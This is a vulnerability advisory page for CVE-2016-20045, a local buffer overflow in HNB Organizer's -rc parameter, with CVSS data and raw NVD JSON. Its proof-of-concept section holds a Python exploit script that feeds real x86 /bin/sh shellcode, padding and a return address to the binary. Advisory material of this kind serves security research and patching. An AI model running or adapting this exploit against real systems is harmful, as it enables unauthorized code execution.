Security Vulnerability Report
中文
CVE-2016-20045 CVSS 8.4 HIGH

CVE-2016-20045

Published: 2026-03-28 12:16:01
Last Modified: 2026-04-08 20:41:56

Description

HNB Organizer 1.9.18-10 contains a local buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying an oversized argument to the -rc command-line parameter. Attackers can craft a malicious input string exceeding 108 bytes containing shellcode and a return address to overwrite the stack and achieve code execution.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:hnb_project:hierarchical_notebook:*:*:*:*:*:*:*:* - VULNERABLE
HNB Organizer 1.9.18-10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # Proof of Concept (PoC) for CVE-2016-20045 # This script demonstrates the buffer overflow by generating a malicious payload # for the '-rc' parameter of HNB Organizer 1.9.18-10. import sys import subprocess # Configuration BUFFER_SIZE = 108 # Vulnerable buffer size OFFSET = BUFFER_SIZE # Return address placeholder (Note: Actual address depends on environment/ASLR) RET_ADDR = b"\xbf\xbf\xbf\xbf" # Shellcode placeholder (e.g., exec /bin/sh for Linux x86) SHELLCODE = b"\x90" * 32 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" def generate_payload(): """Generates the payload to trigger the overflow.""" # Calculate padding needed before the return address padding_len = OFFSET - len(SHELLCODE) if padding_len < 0: print("[-] Shellcode is too large for the buffer space.") sys.exit(1) padding = b"A" * padding_len payload = SHELLCODE + padding + RET_ADDR return payload def main(): print(f"[*] Generating payload for CVE-2016-20045...") payload = generate_payload() print(f"[+] Payload length: {len(payload)} bytes") # Path to the vulnerable binary (adjust as needed) binary_path = "/path/to/hnb" try: print(f"[*] Executing {binary_path} with malicious payload...") # Execute the program with the -rc parameter subprocess.run([binary_path, "-rc", payload]) except FileNotFoundError: print(f"[-] Error: Binary not found at {binary_path}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2016-20045", "sourceIdentifier": "[email protected]", "published": "2026-03-28T12:16:00.630", "lastModified": "2026-04-08T20:41:56.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HNB Organizer 1.9.18-10 contains a local buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying an oversized argument to the -rc command-line parameter. Attackers can craft a malicious input string exceeding 108 bytes containing shellcode and a return address to overwrite the stack and achieve code execution."}, {"lang": "es", "value": "HNB Organizer 1.9.18-10 contiene una vulnerabilidad de desbordamiento de búfer local que permite a atacantes locales ejecutar código arbitrario al proporcionar un argumento de tamaño excesivo al parámetro de línea de comandos -rc. Los atacantes pueden crear una cadena de entrada maliciosa que exceda los 108 bytes que contenga shellcode y una dirección de retorno para sobrescribir la pila y lograr la ejecución de código."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hnb_project:hierarchical_notebook:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.9.18-10", "matchCriteriaId": "0D036B66-7F38-4122-B90D-75E3AFCC6ECF"}]}]}], "references": [{"url": "http://hnb.sourceforge.net/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/40025", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/hnb-organizer-10-local-buffer-overflow-via-rc-parameter", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}